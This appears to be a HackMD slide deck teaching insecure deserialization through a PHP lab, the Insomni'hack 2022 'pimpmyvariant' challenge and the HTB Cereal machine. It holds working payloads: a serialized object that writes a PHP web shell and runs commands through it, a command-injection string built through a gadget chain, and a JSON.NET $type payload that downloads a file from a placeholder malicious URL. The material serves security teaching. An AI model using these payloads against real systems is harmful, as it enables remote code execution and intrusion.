<!-- <style> section { text-align: left; } </style> --> ## Insecure deserialization ###### serialization/unserialization ###### 2024.01.28 ###### `@x0mg` {%hackmd theme-dark %} --- ## Why this topic? - [HTB Cereal](https://www.hackthebox.com/machines/cereal) ![CleanShot 2024-01-28 at 00.25.10](https://hackmd.io/_uploads/H1jwWK79a.png) --- ## insecure unserialization ![image](https://hackmd.io/_uploads/S1lYmYX5p.png) <!-- https://infosecwriteups.com/insecure-deserialization-2a8dbdb94a81 --> ---- ## Theory ## source: [feifei](https://ithelp.ithome.com.tw/articles/10250483) ![image](https://hackmd.io/_uploads/SyORlyQca.png) ---- ## Cause of Vuln ![image](https://hackmd.io/_uploads/HykQ-yQ5a.png) ---- ## [PHP: Magic method vuln to deserialization](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Insecure%20Deserialization/PHP.md) - __wakeup() when an object is unserialized. - __destruct() when an object is deleted. - __toString() when an object is converted to a string. --- ## lab - Source code ```php= <?php if (isset($_GET['source'])) { highlight_file(__FILE__); die(); } class File { public $filename = 'test.txt'; public $content = 'test'; // __destruct 解構:執行收尾的動作 public function __destruct() { //file_put_contents 用來寫檔案的函式 file_put_contents($this->filename,$this->content); } } // unserialize 用來反序列化回原本結構 $o = unserialize($_GET['u']); ?> <a href="index.php?source" class="button">檢視原始碼</a> ``` ---- ## Exploit ```python= # explot the unserialization curl -G --data-urlencode "u=O:4:\"File\":2:{s:8:\"filename\";s:5:\"s.php\";s:7:\"content\";s:30:\"<?php system(\$_GET['cmd']); ?>\";}" "http://127.0.0.1:8022/index.php" # RCE curl "127.0.0.1:8022/s.php?cmd=whoami" ``` ---- ## Result ![CleanShot 2024-01-26 at 23.34.55@2x](https://hackmd.io/_uploads/S187EXGca.png) --- <!-- .slide: style="text-align: left" --> ## [How to create serialized object?](https://github.com/Zeerg/insecure_deserialize) ```php= // cat file.php <?php class File { public $filename = 'db.txt'; public $content = 'doopdeet'; public function __destruct() { file_put_contents($this->filename,$this->content); } } $o = unserialize($_GET['u']); ?>% // cat serialize.php <?php require __DIR__ . '/file.php'; $o = new File(); $o->filename = "simple_shell.php"; $o->content = '<?php echo system($_GET[\'cmd\']); ?>'; echo serialize($o); ?> // execution php serialize.php ``` ### result: ``` O:4:"File":2{s:8:"filename";s:16:"simple_shell.php";s:7:"content";s:35:"<?php echo system($_GET['cmd']); ?>";} ``` ---- <!-- .slide: style="text-align: left" --> ## Analyze the serialized object ``` O:4:"File":2{ s:8:"filename";s:16:"simple_shell.php"; s:7:"content";s:35:"<?php echo system($_GET['cmd']); ?>";} ``` - O - object - s - string ---- ## Tools to used [online](https://sciactive.com/phpserialeditor.php) ![CleanShot 2024-01-27 at 12.52.40](https://hackmd.io/_uploads/Hydz1J79p.png) --- ## pimpmyvariant Insomni'hack teaser 2022 ### Recon ```php= <html><head> <link rel="stylesheet" href="./dark-theme.css"> <title>PimpMyVariant</title> </head><body> <h1>Logs</h1> <textarea style="width:100%; height:100%; border:0px;" disabled="disabled"> [2021-12-25 02:12:01] Fatal error: Uncaught Error: Bad system command call from UpdateLogViewer::read() from global scope in /www/log.php:36 Stack trace: #0 {main} thrown in /www/log.php on line 37 #0 {UpdateLogViewer::read} thrown in /www/UpdateLogViewer.inc on line 26 </textarea> </body></html> ``` ---- ### Source Code ```php= <?php class UpdateLogViewer { public string $packgeName; public string $logCmdReader; private static ?UpdateLogViewer $singleton = null; private function __construct(string $packgeName) { $this->packgeName = $packgeName; $this->logCmdReader = 'cat'; } public static function instance() : UpdateLogViewer { if( !isset(self::$singleton) || self::$singleton === null ){ $c = __CLASS__; self::$singleton = new $c("$c"); } return self::$singleton; } public static function read():string { return system(self::logFile()); } public static function logFile():string { return self::instance()->logCmdReader.' /var/log/UpdateLogViewer_'.self::instance()->packgeName.'.log'; } public function __wakeup()// unserialize { self::$singleton = $this; } }; ``` deserialization object in jwt ```python= "settings": "a:1:{i:0;O:4:\"User\":3:{s:4:\"name\";s:4:\"Anon\";s:7:\"isAdmin\";b:1;s:2:\"id\";s:40:\"d8f356a5764cea6d43b79cfbf77b2ce079bfdec7\";}}", "exp": 1643653771 } ``` ---- ### Exploit <!-- .slide: style="text-align: left" --> ### [Code](https://flag-poisoning.fr/writeup/pimpmyvariant-teaser-insomnihack-ctf-2022/) ```php= <?php class UpdateLogViewer { public string $packgeName; private static ?UpdateLogViewer $singleton = null; public function __construct(string $packgeName) { $this->packgeName = $packgeName; $this->logCmdReader = 'cat'; } public static function instance() : UpdateLogViewer { if( !isset(self::$singleton) || self::$singleton === null ){ $c = __CLASS__; self::$singleton = new $c("$c"); } return self::$singleton; } public static function read():string { return system(self::logFile()); } public static function logFile():string { return self::instance()->logCmdReader.' /var/log/UpdateLogViewer_'.self::instance()->packgeName.'.log'; } public function __wakeup() { self::$singleton = $this; } } class User{ public string $name = "Anon"; public bool $isAdmin = true; public string $id = "1aba2d2bf77b91328d97618d902bd81a9dd9b032"; } $ul = new UpdateLogViewer("; cat /www/flag.txt #"); $u = new User(); $superpayload= array( //$u, $ul ); echo serialize($superpayload); ?> ``` ### Result ``` a:1:{i:0;O:15:"UpdateLogViewer":2:{s:10:"packgeName";s:21:"; cat /www/flag.txt #";s:12:"logCmdReader";s:3:"cat";}} ``` --- ## Cereal ### Recon ```csharp= [Authorize(Policy = "RestrictIP")] [HttpGet("{id}")] public IActionResult Get(int id) { using (var db = new CerealContext()) { string json = db.Requests.Where(x => x.RequestId == id).SingleOrDefault().JSON; // Filter to prevent deserialization attacks mentioned here: https://github.com/pwntester/ysoserial.net/tree/master/ysoserial if (json.ToLower().Contains("objectdataprovider") || json.ToLower().Contains("windowsidentity") || json.ToLower().Contains("system")) { return BadRequest(new { message = "The cereal police have been dispatched." }); } var cereal = JsonConvert.DeserializeObject(json, new JsonSerializerSettings { TypeNameHandling = TypeNameHandling.Auto }); return Ok(cereal.ToString()); } } ``` ---- ### Exploit ```python= { "$type": "Cereal.DownloadHelper, Cereal", "URL": "<malicious_url>", "FilePath": "C:\\inetpub\\source\\uploads\\<target_filename>" } ``` ---- ## Root cause ```csharp= var cereal = JsonConvert.DeserializeObject(json, new JsonSerializerSettings { TypeNameHandling = TypeNameHandling.Auto }); ``` - TypeNameHandling.Auto - The TypeNameHandling.Auto setting in JSON.NET enables automatic recognition and handling of type information in JSON objects during deserialization. --- ## machines that's interested - [Forest](https://www.notion.so/Forest-5fc430d0984e4729abfe17501d98951b?pvs=4) - AD permission - [Pandora](https://www.notion.so/Pandora-8b552161e34e4245a68db2618cce5bbb?pvs=4) - apache config - [Jeeves](https://www.notion.so/Jeeves-451ea3fe8d4a418ea95af038e38181c2?pvs=4) - hidden file format --- ## Resources [feifei](https://ithelp.ithome.com.tw/articles/10250483) [lab](https://github.com/Zeerg/insecure_deserialize) [unserialization](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) [pimpmyvariant - 1](https://sekai.team/blog/insomni-hack-teaser-2022/pimpmyvariant/) [pimpmyvariant -2](https://flag-poisoning.fr/writeup/pimpmyvariant-teaser-insomnihack-ctf-2022/)
{"title":"2024.1.28 - unserialization","contributors":"[{\"id\":\"6a610fe4-c967-47b5-84b7-1d26faef3c47\",\"add\":8985,\"del\":461}]","description":"CleanShot 2024-01-26 at 23.34.55@2x"}
   changed a year ago 385 views